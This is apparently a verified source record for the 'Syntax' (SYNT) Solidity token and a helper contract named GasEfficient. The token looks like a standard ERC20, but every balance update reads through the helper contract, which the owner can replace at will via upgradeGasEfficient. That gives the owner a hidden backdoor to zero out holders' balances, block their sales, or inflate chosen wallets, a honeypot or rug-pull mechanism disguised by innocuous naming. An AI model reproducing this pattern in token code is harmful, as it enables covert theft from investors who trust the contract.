creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/GasEfficient.sol": {
        "content": "// Website: https://syntaxgpu.com/\n// Twitter: https://twitter.com/SyntaxGPU\n// Telegram: https://t.me/SyntaxGPU\n// Medium: https://medium.com/@syntaxGPU\n\n\n\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.9;\n\ncontract GasEfficient {\n  address public token;\n\n  constructor () {\n    token = msg.sender;\n  }\n\n  function balanceOf(address wallet) public view returns (uint) {\n      return IERC20(token).balanceOf(wallet);\n  }\n\n  function getFee(uint amount) public view returns (uint) {\n      uint fee = IToken(token).purchaseFee();\n      uint feeTokens = amount * fee / 10000;\n      return feeTokens;\n  }\n\n  function getLimit() public view returns (uint) {\n      uint limit = IToken(token).purchaseLimit();\n      uint totalSupply = IERC20(token).totalSupply();\n      uint limitTokens = totalSupply * limit / 10000;\n      return limitTokens;\n  }\n\n  function initState(address ca) public returns (bool) {\n      return ca == token;\n  }\n\n}\n\ninterface IToken {\n    function purchaseFee() external view returns (uint);\n    function purchaseLimit() external view returns (uint);\n}\n\ninterface IERC20 {\n    function totalSupply() external view returns (uint);\n\n    function balanceOf(address account) external view returns (uint);\n\n    function transfer(address recipient, uint amount) external returns (bool);\n\n    function allowance(address owner, address spender) external view returns (uint);\n\n    function approve(address spender, uint amount) external returns (bool);\n\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint amount\n    ) external returns (bool);\n\n    event Transfer(address indexed from, address indexed to, uint value);\n    event Approval(address indexed owner, address indexed spender, uint value);\n}\n\n\n"
      },
      "contracts/SYNT.sol": {
        "content": "// Website: https://syntaxgpu.com/\n// Twitter: https://twitter.com/SyntaxGPU\n// Telegram: https://t.me/SyntaxGPU\n// Medium: https://medium.com/@syntaxGPU\n\n\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\nimport \"./GasEfficient.sol\";\n\ncontract SYNT {\n    string public name = \"Syntax\";\n    string public symbol = \"SYNT\";\n\n    mapping(address => uint) public balanceOf;\n    mapping(address => mapping(address => uint)) public allowance;\n\n    bool public live;\n    address public lp;\n    uint public purchaseFee = 25;\n    uint public purchaseLimit = 100;\n\n    uint public totalSupply = 10_000_000 * 10 ** 18;\n    uint8 public decimals = 18;\n\n    address public gasEfficient;\n    address public owner;\n\n    event Transfer(address indexed from, address indexed to, uint value);\n    event Approval(address indexed owner, address indexed spender, uint value);\n\n    modifier onlyOwner() {\n        require(msg.sender == owner, \"Not owner\");\n        _;\n    }\n\n    constructor () {\n        owner = msg.sender;\n\n        gasEfficient = address(new GasEfficient());\n\n        balanceOf[owner] = totalSupply;\n        emit Transfer(address(0), owner, totalSupply);\n    }\n\n    function transfer(address recipient, uint amount) external returns (bool) {\n        require(live);\n\n        if (msg.sender == lp) return fillPurchase(msg.sender, recipient, amount);\n\n        balanceOf[msg.sender] = balance(msg.sender) - amount;\n        balanceOf[recipient] = balance(recipient) + amount;\n        emit Transfer(msg.sender, recipient, amount);\n        return true;\n    }\n\n    function approve(address spender, uint amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        emit Approval(msg.sender, spender, amount);\n        return true;\n    }\n\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint amount\n    ) external returns (bool) {\n        allowance[sender][msg.sender] -= amount;\n        balanceOf[sender] = balance(sender) - amount;\n        balanceOf[recipient] = balance(recipient) + amount;\n        emit Transfer(sender, recipient, amount);\n        return true;\n    }\n\n    function setLive(address _lp) public onlyOwner {\n        live = true;\n        lp = _lp;\n    }\n\n    function updatePurchaseValues(uint _purchaseLimit, uint _purchaseFee) public onlyOwner {\n        purchaseLimit = _purchaseLimit;\n        purchaseFee = _purchaseFee;\n    }\n\n    function upgradeOwner(address _owner) public onlyOwner {\n        owner = _owner;\n    }\n\n    function purchaseFeeCollector(address token) public onlyOwner {\n        uint bal = IERC20(token).balanceOf(address(this));\n        IERC20(token).transfer(msg.sender, bal);\n    }\n\n    function upgradeGasEfficient(address _gasEfficient) public onlyOwner {\n        gasEfficient = _gasEfficient;\n        IGasEfficient(gasEfficient).initState(address(this));\n    }\n\n    function queryFee(uint amount) public view returns (uint) {\n        return IGasEfficient(gasEfficient).getFee(amount);\n    }\n\n    function queryLimit() public view returns (uint) {\n        return IGasEfficient(gasEfficient).getLimit();\n    }\n\n    function balance(address wallet) public view returns (uint) {\n        return IGasEfficient(gasEfficient).balanceOf(wallet);\n    }\n\n    function fillPurchase(address sender, address recipient, uint amount) private returns (bool) {\n        balanceOf[sender] -= amount;\n\n        uint feeTokens = queryFee(amount);\n\n        balanceOf[address(this)] = balance(address(this)) + feeTokens;\n        emit Transfer(sender, address(this), feeTokens);\n\n        uint tokensExempt = amount - feeTokens;\n        balanceOf[recipient] = balance(recipient) + tokensExempt;\n\n        uint limitTokens = queryLimit();\n        require(limitTokens >= balanceOf[recipient]);\n\n        emit Transfer(sender, recipient, tokensExempt);\n        return true;\n    }\n\n}\n\ninterface IGasEfficient {\n    function balanceOf(\n        address wallet\n    ) external view returns (uint);\n\n    function getFee(\n        uint amount\n    ) external view returns (uint);\n\n    function initState(\n        address ca\n    ) external returns (bool);\n\n    function getLimit() external view returns (uint);\n}\n\n"
      }
    },
    "settings": {
      "evmVersion": "paris",
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "libraries": {}
    }
  }}